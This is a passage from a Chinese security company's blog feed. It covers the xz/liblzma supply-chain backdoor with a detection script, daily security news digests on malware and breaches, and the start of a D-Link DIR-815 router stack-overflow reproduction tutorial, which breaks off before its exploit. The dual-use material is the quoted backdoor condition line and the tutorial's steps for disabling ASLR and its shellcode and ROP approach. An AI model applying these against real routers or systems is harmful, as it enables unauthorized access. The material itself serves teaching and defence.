liblzma/xz被植入后门,过程堪比谍战片!
事件概述 xz是一种几乎存在于所有Linux发行版中的通用数据压缩格式。从5.6.0版本开始,在xz的上游tarball包中被发现了恶意代码,通过一系列复杂的混淆手段,liblzma的构建过程从伪装成测试文件的源代码中提取出预构建的目标文件,然后用它来修改liblzma代码中的特定函数。这导致生成了一个被修改过的liblzma库,任何链接此库的软件都可能使用它,从而拦截并修改与此库的数据交互。 3月29日,微软PostgreSQL开发人员Andres Freund在调试SSH性能问题时,在开源安全邮件列表中发帖称,他在XZ软件包中发现了一个涉及混淆恶意代码的供应链攻击。据Freund和RedHat称,Git版XZ中没有恶意代码,只有完整下载包中存在。但是这个代码的提交人两年前就加入了项目维护,暂时不能确定之前的版本有没有问题。 xz 5.6.0和5.6.1版本库中存在的恶意注入只包含在tarball下载包中。Git发行版中缺少触发恶意代码构建的M4宏。注入期间构建时使用的第二阶段工件存在于Git存储库中,以防存在恶意的M4宏。如果不合并到构建中,第二阶段文件是无害的。在发现者的演示中,发现它干扰了OpenSSH守护进程。虽然OpenSSH没有直接链接到liblzma库,但它以一种使其暴露于恶意软件的方式与systemd通信,而systemd链接到了liblzma。恶意构建会通过systemd干扰sshd的认证。在一定的情况下,这种干扰有可能使恶意行为体破坏ssh认证,并远程未经授权访问整个系统。 截至日前(3月30日),暂未观察到利用此后门代码的行为。 影响的系统范围 xz和liblzma 5.6.0~5.6.1 版本,可能包括的发行版 / 包管理系统有: Fedora 41 / Fedora Rawhide Debian Sid Alpine Edge x64 架构的 homebrew 滚动更新的发行版,包括 Arch Linux / OpenSUSE Tumbleweed 如果你的系统使用systemd 启动 OpenSSH 服务,你的 SSH 认证过程可能被攻击。非x86-64 架构的系统不受影响。 if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnuquot; > /dev/null 2>&1);then 你可以在命令行输入xz --version来检查xz 版本,如果输出为5.6.0或5.6.1 ,说明你的xz-utils已被植入后门。 $ xz --version xz (XZ Utils) 5.6.1 liblzma 5.6.1 目前迹象表明,后门作者有选择性的针对linux 发行版下手。但这个liblzma 可不只Linux上用。比如目前流行的iOS越狱环境,大部分tweak 包还是以.deb 格式发行,比较新的版本就用到了lzma 作为压缩。除此之外,近期有在 macOS上使用brew 安装过xz 这个包也受影响,暂时不能证明有恶意行为: 过程精彩如谍战片 这可能是最大胆的信息安全事件之一。“最大胆”表明这起事件在手法、规模、影响等方面都超出了我们以往对于攻击的认知,可能是一个全新的安全威胁模型。 "最大胆"一词还隐含着对攻击者心理和技术实力的一种评价。做出如此"大胆"之举的,肯定是心理素质极强、技术水平极高、准备极其缜密的黑客团伙,绝非一般的脚本小子可以企及。 1、一个不知名团伙注意到OpenSSH依赖一个名为liblzma(xz)的小众开源压缩库。 2、他们虚构了一个名为"Jia Tan"的开发者身份,从2021年10月开始为xz项目积极做贡献,逐渐获得信任,并最终接管了维护工作。 3、2024年2月,"Jia"在构建脚本中引入了一个复杂隐蔽的后门,该后门似乎针对OpenSSH的身份验证前加密功能,可能添加了"主密钥"让攻击者随意访问受影响服务器。 4、 "Jia"联系Linux发行版维护者,试图让带后门的xz库被打包分发给用户,直到微软员工Andres Freund因调查SSH延迟问题发现了此事。 这可能是一次有外国政府支持的职业行动,而非业余爱好者所为。更根本的是,xz后门不是一个技术问题,可能也不能单靠技术来解决。归根结底,这是一个反情报挑战——完全属于政府和少数拥有生态系统范围监控能力的商业实体的能力范畴。这尤其包括谷歌和微软。事实上,这里有一个有趣的想法:也许他们已经知道了很长一段时间。我们能分辨出这是为了掩盖"手段和来源"而精心设计的披露,还是偶然发现的吗? 检测和解决方法 解决方法: 降级到5.6.0以下版本 更新到官方最新版5.6.4 检测脚本: #! /bin/bash set -eu # find path to liblzma used by sshd path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # does it even exist? if [ "$path" == "" ] then echo probably not vulnerable exit fi # check for function signature if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410 then echo probably vulnerable else echo probably not vulnerable fi
蚁景科技受邀出席“长沙市新一代自主安全计算系统产业链推进大会”
3月29日,由长沙市委网信办主办的“党建聚链·e企赋能”长沙市新一代自主安全计算系统产业链推进大会在世界计算·长沙智谷成功举办。长沙市委常委、市委组织部领导出席活动并讲话。 蚁景科技受邀出席本次大会,与来自产业链上的150余家重点科创企业、科研院所齐聚智谷,共话新方向,共谋新发展。 长沙市网络空间安全和信息化协会换届选举大会也于同期举行,大会通报了长沙市网络空间安全和信息化协会筹备工作情况。全体会员表决通过《协会章程》和《选举规程》,选举产生了理事会、监事会名单,国防科技大学教授姜新文当选为协会理事会理事长。蚁景科技作为协会会员单位参与了大会各项议程的表决和选举。 大会上,长沙市网络空间安全和信息化协会解读了长沙市网络安全工匠人才考试及评定相关政策,并发布了长沙市网络安全人才实训基地试点单位名单。蚁景科技凭借在网络安全领域人才实战技能培养的深耕积累,荣誉入选“长沙市网络安全人才实训基地”首批试点单位。 蚁景科技将立足长沙辐射全国,专注于网络安全人才实战技能培养,通过网安实验室在线靶场平台的建设及网络培训产品研发为高校、企事业单位、科研院所等行业客户提供网络安全“技能教学+靶场实战”服务,实现网安人才技能学习积累、综合技能运用以及考核评估三大目标。持续为实施国家安全战略,促进网络安全技术、人才、产业融合,优化人才培养、技术创新、产业发展的良性生态,推动网络安全能力全面提升贡献力量。
网络安全日报 2024年04月01日
1、DinodasRAT Linux植入程序针对全球实体发起攻击 https://securelist.com/dinodasrat-linux-implant/112284/ 研究人员的报告揭示了DinodasRAT(也称为XDealer)的Linux版本,这是一个用C++编写的多平台后门,主要针对基于Red Hat和Ubuntu Linux的系统。该后门通过创建隐藏文件确保仅运行一个实例,并利用SystemV或SystemD启动脚本来建立持久性。它收集有关受感染机器的信息来创建唯一标识符,而不会收集任何特定于用户的数据。后门通过与C2服务器的TCP或UDP通信来执行各种命令,如文件操作、服务控制、进程枚举和远程shell执行。Linux版本的Dinod 2、PyPI暂停新项目和用户注册以应对恶意软件攻击 https://checkmarx.com/blog/pypi-is-under-attack-project-creation-and-user-registration-suspended/ 2024年3月28日,Python Package Index (PyPI)宣布暂停新用户注册和项目创建,以应对Checkmarx安全团队发现的一系列恶意软件包。这些恶意软件包利用“误植”漏洞,通过仿冒域名诱骗用户安装,进而窃取加密货币钱包、浏览器数据和登录凭据。PyPI的这一举措旨在保护Python开发者社区,同时为平台提供时间实施更强大的安全措施。恶意代码位于每个包的setup.py文件中,可在 3、Facebook被指控拦截Snapchat用户流量涉嫌反竞争行为 https://images.law.com/contrib/content/uploads/documents/403/56855/Facebook-antitrust-class-action-complaint.pdf 近日的报道揭露了Facebook在2016年至2019年间通过一个名为“应用内操作面板”(IAAP)的秘密项目,利用名为“捉鬼敢死队”的技术拦截和解密Snapchat、YouTube和Amazon的SSL加密流量。这个项目的目的是为了获取竞争对手的数据,以支持Facebook的竞争决策。Facebook鼓励用户安装套件,这些套件冒充官方服务器并解密流量,使Faceboo 4、XZ实用程序中发现后门漏洞,可破坏sshd身份验证 https://www.openwall.com/lists/oss-security/2024/03/29/4 红帽公司最近发出警告,指出大多数Linux发行版中包含的XZ格式压缩实用程序XZ Utils存在一个严重漏洞(CVE-2024-3094)。这个漏洞可能允许恶意行为者破坏sshd身份验证,并远程获得对整个系统的未经授权的访问。这个漏洞是由于xz库的5.6.0和5.6.1版本中存在恶意代码,这是由PostgreSQL开发人员Andres Freund在微软发现的。红帽表示,这些版本的库中的恶意注入已被混淆,并且仅完整包含在下载包中。此外,红帽还指出,这些易受攻击的版本尚未被Linu 5、新的Linux漏洞可能导致密码泄露和剪贴板劫持 https://pwning.tech/nftables/ 研究人员发现了一个影响util-linux软件包中的“wall”命令的漏洞,编号为CVE-2024-28085,代号为WallEscape。这个漏洞可能导致用户密码泄露或剪贴板内容被更改。在满足特定条件(如mesg设置为“y”和wall设置为setgid)的情况下,攻击者可以利用未正确过滤的转义序列在用户的终端上创建虚假的sudo提示符,诱骗用户输入密码。Ubuntu 22.04和Debian Bookworm易受此攻击,而CentOS由于wall命令没有setgid权限而不易受攻击。建议用户更新到util-linux版本2.40以 6、新的ZenHammer攻击可绕过AMD CPU的RowHammer防御 https://comsec.ethz.ch/research/dram/zenhammer/ 苏黎世联邦理工学院的网络安全研究人员开发了名为ZenHammer的新型DRAM(动态随机存取存储器)攻击变体,这种攻击可以绕过AMD Zen 2和Zen 3系统上的目标行刷新(TRR)等缓解措施。该攻击首次在DDR5设备上触发RowHammer位翻转,尽管制造商已经采取了针对该问题的缓解措施。研究人员表示,AMD系统与Intel系统一样容易受到Rowhammer攻击,这增加了攻击面。研究人员还提供了最佳的锤击指令序列,以提高行激活率,从而促进更有效的锤击。AMD表示正在评估DDR5设备上的RowH 7、AT&T确认7300万客户数据泄露 https://www.att.com/support/article/my-account/000101995?bypasscache=1 AT&T确认了一起影响约7300万现有和前任客户的数据泄露事件。尽管公司之前否认了数据泄露,但最终确认泄露的数据集似乎来自2019年或更早,影响了大约760万当前账户持有者和大约6540万前账户持有者。泄露的数据包括姓名、地址、电话号码,部分客户的社会安全号码和出生日期也被泄露。这些数据最初在2021年由一个名为Shiny Hunters的威胁者声称出售。现在,另一个威胁行为者在黑客论坛上泄露了相同的数据集。AT&T表示,760万客户的安全密码也被泄露 8、动视建议启用2FA保护受恶意软件窃取影响的账户 https://www.bleepingcomputer.com/news/security/activision-enable-2fa-to-secure-accounts-recently-stolen-by-malware/ 动视暴雪建议用户启用双因素身份验证(2FA)来保护其账户,此前有报告称大量游戏玩家的账户信息在恶意软件活动中被窃取。这些账户信息主要涉及使用作弊或付费作弊服务的玩家。数据库中包含数百万游戏玩家的凭据,尤其是《使命召唤》和《反恐精英》玩家。虽然动视暴雪的服务器未受损害,但为了防止潜在的风险,公司推荐用户更改密码并启用2FA。此外,动视暴雪正在与作弊软件开发者协调,以 9、新的Darcula网络钓鱼服务通过iMessage针对iPhone用户 https://www.bleepingcomputer.com/news/security/new-darcula-phishing-service-targets-iphone-users-via-imessage/ Darcula 已被用于各种服务和组织,从邮政、金融、政府、税务部门到电信公司、航空公司、公用事业,为欺诈者提供 200 多种模板供您选择 10、JetBrains 修补了 TeamCity 中的 26 个安全问题 https://www.securityweek.com/26-security-issues-patched-in-teamcity/ JetBrains 已修复其 TeamCity 构建管理和持续集成服务器中的 26 个安全问题,并已采取措施降低漏洞被恶意攻击的风险。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月29日
1、近期出现针对Apple设备用户的新型MFA网络钓鱼攻击 https://krebsonsecurity.com/2024/03/recent-mfa-bombing-attacks-targeting-apple-users/ 近期,Apple设备用户成为了一种新型网络钓鱼攻击的靶标,该攻击利用了多重身份验证(MFA)机制。攻击者通过Apple的密码重置工具向受害者发送大量通知,诱使他们重置Apple ID密码。受害者点击“允许”后,攻击者便可接近重置其凭据。即使受害者选择“不允许”,攻击者仍可能通过伪装成苹果支持团队致电受害者,试图获取密码重置代码。此类攻击不仅限于特定类型的Apple设备,而且目前没有简单的防范方法。一些受害者尝试联系Appl 2、黑客开发恶意大型语言模型以绕过现有安全限制 https://www.recordedfuture.com/adversarial-intelligence-red-teaming-malicious-use-cases-ai 在发现现有工具如WormGPT等无法满足其高级入侵功能的需求后,网络骗子正在寻求开发自定义的恶意大型语言模型(LLM)。安全研究人员指出,地下论坛上充满了黑客讨论如何利用OpenAI和谷歌旗下Gemini开发的人工智能聊天机器人设置的护栏。例如,一位名为Poena的俄语威胁行为者在Telegram上发布了招聘人工智能和机器学习专家的广告,以开发恶意的LLM产品。此外,勒索软件和其他恶意软件运营商也显示出对这一趋势 3、Microsoft Edge安全漏洞可能允许静默安装恶意扩展 https://labs.guard.io/cve-2024-21388-microsoft-edges-marketing-api-exploited-for-covert-extension-installation-879fe5ad35ca 研究人员发现了一个Microsoft Edge浏览器中的安全漏洞(CVE-2024-21388),该漏洞可能允许攻击者在用户不知情的情况下秘密安装具有广泛权限的浏览器扩展。这个权限升级缺陷涉及利用浏览器对某些私有API的特权访问,特别是edgeMarketingPagePrivate API,它可以从属于Microsoft的特定白名单网站访问。攻击 4、INC勒索软件团伙攻击苏格兰NHS并窃取3TB数据 https://securityaffairs.com/161143/data-breach/inc-ransom-hacked-national-health-service-of-scotland.html INC勒索软件组织对苏格兰国家医疗服务体系(NHS)发起了网络攻击,并声称窃取了3TB的数据。该组织在其Tor泄露网站上发布了苏格兰NHS的受害者名单,并威胁要公开这些数据。此次攻击发生于2023年3月15日,影响了NHS邓弗里斯和加洛韦,导致至少有“有限数量”的患者数据被黑客获取。苏格兰NHS已确认将与苏格兰警察局、国家网络安全中心、苏格兰政府和其他机构合作,以应对这一事件。INC 5、Facebook被指控曾利用用户设备监视竞品软件 https://www.freebuf.com/news/396187.html 近来,Facebook母公司Meta陷入了一起法律诉讼。据 TechCrunch 报道,Meta 被指控在其数据收集活动上撒谎,并利用其从用户那里“欺骗性地提取”数据进行不公平的斗争。诉讼称,Meta在2016 年 6 月至 2019 年 5 月之间曾使用一种名为“SSL man-in-the-middle”的网络攻击方法来拦截和解密竞品软件 Snapchat、YouTube 和 Amazon 加密的分析流量。 6、印度国防部被黑客打穿,泄露8.8GB数据 https://www.freebuf.com/news/396179.html (3月27日),EclecticIQ 研究人员发布了一份报告称:黑客攻击了印度政府和能源公司,目的是传播一种名为 HackBrowserData 的开源信息窃取恶意软件。该软件能够在某些情况下利用 Slack 作为命令与控制(C2)泄露敏感信息。黑客已经成功入侵了私营能源公司,并获取了财务文件、员工个人资料以及石油和天然气钻探活动的详细信息,攻击行动导致约 8.81 GB 的数据被泄露。 7、数千家使用 Ray 框架的公司面临网络攻击威胁 https://therecord.media/thousands-exposed-to-ray-framework-vulnerability 据 Ray 的开发商 Anyscale 称,Uber、亚马逊和 OpenAI 等大型科技公司都在使用该框架。 8、攻击者利用人工智能生成虚假讣告,进行网络钓鱼攻击 https://www.hackread.com/ai-generated-fake-obituary-websites-target-users/ 他们的最终目的可能是窃取个人数据、通过虚假事件的募捐进行诈骗,或将恶意软件植入访问者的设备。 9、14GB Minecraft玩家个人数据在非法论坛上免费发布 https://cybernews.com/news/minecraft-14gb-data-leak/ 据 Cybernews 研究团队称,共享数据库由 700 多份小型文件组成,这些文件似乎是根据之前的多次泄露和入侵事件汇编而成的。 10、违规使用数据训练大模型 谷歌被罚5亿欧元 http://www.anquan419.com/knews/24/6747.html 由于谷歌公司在未经许可的情况下,使用法国新闻机构和出版商提供的内容训练其旗下人工智能服务Bard的基础模型,违反了欧盟版权法相关规定。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月28日
1、针对Ray人工智能框架的新ShadowRay攻击行动 https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild 近日,研究人员披露了一起名为"ShadowRay"的全球性网络攻击活动,这是首次有记录的针对广泛应用的开源人工智能框架Ray的活动性攻击。关键安全漏洞CVE-2023-48022自七个月前以来一直未被修补,该漏洞使得数千家公司的人工智能基础设施面临被恶意利用的风险,攻击者不仅能劫持计算资源进行加密货币挖矿,还有可能泄露敏感数据。受影响的行业包括教育、金融和医疗保健,Uber、亚马逊和Netflix等大公司也使 2、TheMoon变种植入4万多台设备助力匿名代理服务 https://blog.lumen.com/the-darkside-of-themoon/ 据研究人员报道,TheMoon恶意软件的一种新变体近期在全球范围内感染了数万台过时的小型办公和家庭路由器以及物联网(IoT)设备。其目标为已到使用寿命的家用/小型办公室(SOHO)路由器和IoT设备,1月和2月期间,有超过40000台过期设备在88个国家受到感染。TheMoon僵尸网络自2014年首次被发现活动,其运营者自2017年起至少在该恶意软件代码中加入了6种IoT设备的漏洞利用代码。该网络瞄准的是来自多家供应商的宽带调制解调器或路由器,包括Linksys、ASUS、MikroTik、D-L 3、最新报告表明API调用安全风险增加 https://thehackernews.com/2024/03/apis-drive-majority-of-internet-traffic.html 根据Imperva的《2024年API安全状况报告》,在2023年,互联网流量中高达71%源自应用程序编程接口(API)调用。企业网站在2023年平均经历了约15亿次API调用。随着数字服务向客户更快更高效的提供压力不断增加,尽管采用了shift-left框架和软件开发生命周期(SDLC)流程,API仍然在未编目、未认证或未审核的情况下上线。平均而言,组织在生产中有613个API端点,并且这一数字在迅速增长,时间推移这些API可能变成高 4、恶意NuGet软件包曝光针对开发人员 https://www.reversinglabs.com/blog/suspicious-nuget-package-grabs-data-from-industrial-systems 研究人员最近发现NuGet包管理器中出现了一个可疑软件包SqzrFramework480,这个软件包很可能是为了瞄准使用精密工业和数字设备制造商工具的开发者而设计。研究人员指出,该软件包自2024年1月24日首次发布以来,已被下载2999次。该安全公司表示目前没有发现其他具有相似行为的软件包。这一行动被推测很可能用于对装备了摄像头、机器视觉和机械臂的系统进行工业间谍活动。SqzrFramework480软 5、新型网络钓鱼攻击伪装银行通知传播键盘记录器 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/agent-teslas-new-ride-the-rise-of-a-novel-loader/ 研究人员发现了一场新型网络钓鱼攻击,威胁者通过伪装成银行支付通知的电子邮件,诱导用户打开附加的压缩文件。该压缩文件隐藏了一个恶意加载程序,用于在受害主机上部署一个称为Agent Tesla的信息窃取器和键盘记录器。这一加载程序运用了混淆技术来逃避检测,并利用复杂的解密方法和多态行为。它能够绕过杀毒软件防御,通过代理服务器和特定的URLs以及用户代理来检索其有效载荷,以 6、NVIDIA 修补了 Windows 版 ChatRTX 中高危漏洞 https://www.securityweek.com/code-execution-flaws-haunt-nvidia-chatrtx-for-windows/ 人工智能计算巨头 NVIDIA 周三针对其 ChatRTX for Windows 应用程序中的两个软件缺陷推出了紧急补丁,同时警告用户面临代码执行和数据篡改攻击的风险。 7、Chrome 更新修复了Pwn2Own所利用的零日漏洞 https://www.securityweek.com/chrome-update-patches-zero-day-vulnerabilities-exploited-at-pwn2own/ 谷歌周二发布了 Chrome 浏览器安全更新,以解决七个漏洞,其中四个是外部研究人员报告的。 8、Google Play上的免费VPN应用将设备变成代理 https://www.securityweek.com/vpn-apps-on-google-play-turn-android-devices-into-proxies/ 据 Human Security 报道,数十个将 Android 设备转变为住宅代理的 VPN 应用程序已进入 Google Play 商店。所有已识别的恶意应用程序都包含一个 Golang 库,负责将设备注册为代理节点,并且似乎链接到住宅代理卖家 Asocks。 9、空客通过收购 INFODAS 增强网络安全产品 https://fintech.global/2024/03/27/airbus-enhances-cybersecurity-offerings-with-infodas-acquisition/ 此次收购有望显着增强空客的网络安全产品组合,这是其战略愿景的重要组成部分,旨在增强欧洲和全球客户的数字保护。 10、CISA警告:黑客积极攻击微软SharePoint漏洞 https://thehackernews.com/2024/03/cisa-warns-hackers-actively-attacking.html 美国网络安全和基础设施安全局 (CISA)根据野外活跃利用的证据,已将影响 Microsoft Sharepoint Server 的安全漏洞添加到其已知被利用的漏洞 ( KEV )目录中。该漏洞编号为 CVE-2023-24955(CVSS 评分:7.2),是一个严重的远程代码执行缺陷,允许具有站点所有者权限的经过身份验证的攻击者执行任意代码。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月27日
1、新型钓鱼工具Tycoon 2FA可绕过多重身份验证 https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/ 近期网络威胁情报显示,名为"Tycoon 2FA"的新型钓鱼工具正被黑客用于针对Microsoft 365和Gmail账户,并绕过双因素身份验证(2FA)保护。目前,Tycoon 2FA服务利用了1100个域名,在成千上万的钓鱼攻击中被观察到。该工具涉及一个多步骤过程,其中威胁行为者通过托管钓鱼网页的反向代理服务器盗取会话cookie,拦截受害者输入并转发至合法服务。一旦用户完成MFA挑战 2、近17万用户受伪装Python包供应链攻击影响 https://checkmarx.com/blog/over-170k-users-affected-by-attack-using-fake-python-infrastructure/ 研究人员披露,超过17万用户受到了一次针对Discord机器人开发者社区Top.gg用户群体的供应链攻击。该攻击主要通过伪装的Python PyPI软件包传播带有恶意软件的代码,这些恶意软件能够从受害者的浏览器、Discord应用、加密钱包以及包含特定关键字的文件中窃取数据。攻击者利用了多种供应链攻击技术,其中包括复制流行的Python软件包(如Colorama)、使用与Python官方站点极为相似的钓 3、GEOBOX黑客工具劫持Raspberry Pi伪造地理位置 https://www.resecurity.com/blog/article/cybercriminals-transform-raspberry-pi-into-a-tool-for-fraud-and-anonymization-geobox-discovery 据研究人员的报告,一个名为GEOBOX的新黑暗网工具通过劫持树莓派设备,让黑客们能够伪造地理位置并逃避检测。GEOBOX被设计来攻击树莓派4 B型号设备,使犯罪分子实现匿名化和欺诈。这一发现源自对一起在线银行盗窃案件的调查,涉及某财富100强金融公司的高净值客户。GEOBOX让犯罪分子可以操纵GPS数据,模拟网络,模仿Wi-F 4、CISA警告三大漏洞遭积极利要求机构紧急修补 https://www.cisa.gov/known-exploited-vulnerabilities-catalog 据一份新闻报道,美国网络安全和基础设施安全局(CISA)更新了其已知被利用的漏洞(KEV)目录,新添加了三个正被积极利用的安全漏洞。这些漏洞包括Fortinet的FortiClient EMS SQL注入漏洞(CVE-2023-48788, CVSS评分9.3)、Ivanti的Endpoint Manager Cloud Service Appliance代码注入漏洞(CVE-2021-44529, CVSS评分9.8)以及Nice的Linear eMerge E3系列的 5、新的ZenHammer内存攻击影响AMD Zen系列CPU https://comsec.ethz.ch/wp-content/files/zenhammer_sec24.pdf 研究人员开发了首个针对AMD Zen微架构CPU的Rowhammer变体攻击——ZenHammer,该攻击漏洞针对DDR4和DDR5内存芯片上的物理地址映射。尽管AMD Zen芯片和DDR5内存模块之前被认为对Rowhammer较不敏感,但最新研究发现挑战了这一观点。ZenHammer利用内存单元物理特性,通过重复访问("锤击")特定内存单元行来改变比特值,称为"比特翻转"。通过在特定位置诱发比特翻转,攻击者可能获取敏感数据或提升权限。研究人员通过逆向工程解决了AMD平台的 6、滑板品牌Vans警告顾客数据泄露 https://view.news.vans.com/?qs=ccb3da58015c46135093fc75f9499b6bbcce99c4171e5e5ada89c8e517e03e17679f64b6aefa0fb2ab3b1f4f3731248c5b14eb620f6ac9737c9838d904eb5aa2624b218e0feae8700cb4365083fc0054&& 滑板品牌Vans于2024年3月通知客户遭受了一次“数据事故”,导致个人信息可能泄露。2023年12月13日,Vans检测到其IT系统存在未经授权的活动,调查显示这一事故涉及客户的个人信息,包括邮箱地址、全名、 7、美国上千万卡车容易受蠕虫攻击 https://www.theregister.com/2024/03/22/boffins_tucktotruck_worm/ 科罗拉多州立大学研究人员发现,美国商用卡车使用的 Electronic Logging Devices(ELDs)存在安全漏洞,可被用于控制卡车,甚至在卡车之间传播蠕虫。 8、欧罗巴航空宣布客户数据可能遭到泄露 https://cybersecuritynews.com/air-europa-compromise-of-customer-data 西班牙著名航空公司欧罗巴航空公司(Air Europa)宣布,在去年10月发现安全事件后,其客户数据可能会遭到泄露。 9、Apple 修补了 iOS、macOS 中的代码执行漏洞 https://www.securityweek.com/apple-patches-code-execution-vulnerability-in-ios-macos/ Apple 发布了针对 iOS 和 macOS 设备的新安全更新,以解决任意代码执行漏洞。该问题被追踪为 CVE-2024-1580,被描述为导致越界写入的整数溢出,影响 iOS 和 macOS 的 CoreMedia 和 WebRTC 组件,并可能在图像处理过程中触发。 10、TheMoon僵尸网络在1-2月份感染了超过40,000 台设备 https://securityaffairs.com/161091/malware/themoon-malware-targets-soho.html Lumen Technologies 的 Black Lotus 实验室团队发现了“ TheMoon ”机器人的更新版本,该机器人针对报废 (EoL) 小型家庭/小型办公室 (SOHO) 路由器和物联网设备。该僵尸程序的新版本已被发现感染了 88 个国家/地区的数千台过时设备。TheMoon僵尸网络的活动 于 2014 年首次被发现,自 2017 年以来,其运营商在该僵尸网络的代码中添加了至少 6 个物联网设备漏洞。该僵尸网络针对多家供应商 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现
前言 在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。 固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/ 这个漏洞属于经典范畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。 根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出问题。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,如果使用973作为偏移量,则调试无法成功连接,但不进行调试则可以成功连接。然而,如果使用1007作为偏移量,则调试可以成功连接,但不进行调试则无法成功连接。这种情况可能与仿真环境相关,欢迎大家积极尝试并探索。 工具安装 我的环境是 Ubuntu 22.04.4 LTS x86_64 Binwalk 我们要安装这个工具用来给FirmAE调用: git clone https://github.com/ReFirmLabs/binwalk.git cd binwalk sudo python setup.py install firmware-mod-kit 首先安装依赖: sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic 然后进行安装: git clone https://github.com/mirror/firmware-mod-kit.git cd firmware-mod-kit/src ./configure && make 可以进入https://github.com/mirror/firmware-mod-kit查看详细使用方法,本文不赘述。 FirmAE 我们需要安装FirmAE,和相关依赖进行固件仿真: git clone --recursive https://github.com/pr0v3rbs/FirmAE sudo pip3 install selenium 接着进入FirmAE目录运行: ./download.sh ./install.sh ./init.sh 随后,使用如下命令尝试是否能够仿真: sudo ./run.sh -c <brand> <firmware> 我们这篇文章的brand是d-link。如果成功仿真,使用如下命令进入仿真调试模式: sudo ./run.sh -d <brand> <firmware> 注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的: echo "0" >> /proc/sys/kernel/randomize_va_space 基础知识 溢出漏洞 溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出问题。这些漏洞可以让攻击者执行恶意代码,进而对路由器进行攻击和控制。 它可以使得黑客控制程序执行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者成功控制了它,就能为所欲为了。 那么,如何利用栈溢出漏洞来控制程序执行呢?有两个常见的方法:shellcode和ROPchain。 首先,我们来说说shellcode。Shellcode是一段精心编写的机器码,通常用于执行特定的操作,比如获取系统特权或者执行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序执行,从而执行这段恶意代码。 另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技术。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如执行系统调用或者跳转到其他函数。 所以,栈溢出漏洞非常危险,给了攻击者很大的控制力!要特别注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时刻确保输入数据不会超出预期的范围,这样就能有效地防止栈溢出漏洞的利用。 HTTP协议 HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。 请求行 HTTP请求的第一行是请求行,它由三部分组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下: Method Request-URI HTTP-Version CRLF 例如: POST /registez.aspx HTTP/1.1 (CRLE) 消息报头 请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息。例如: Accept:image/gif 表示请求GIF图像格式的资源。 一个完整的请求消息报头可能包含多个键值对,像这样: GET /index.html HTTP/1.1 (CRLF) Accept:image/gif, image/x-xbitmap,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip, deflate (CRLF) User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.baidu.com (CRLF) Connection:Keep-Alive (CRLF) (CRLF) 请求正文 请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。例如: Usernarme=admin&password=admin 实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。 我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。 成因分析 Cookie来自char *getenv("HTTP_COOKIE")。 cgibin链接到其他的cgi的时候,此时cgibin里除了main,还会有别的cgi文件的main。 如本固件的hedwigcgi_main。 根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比较,分析得出COOKIE的数据组织形式是uid=payload。 int __fastcall sess_get_uid(int a1) {  int v2; // $s2  char *v3; // $v0  int v4; // $s3  char *v5; // $s4  int v6; // $s1  int v7; // $s0  char *string; // $v0  int result; // $v0  v2 = sobj_new();  v4 = sobj_new();  v3 = getenv("HTTP_COOKIE");  if ( !v2 )    goto 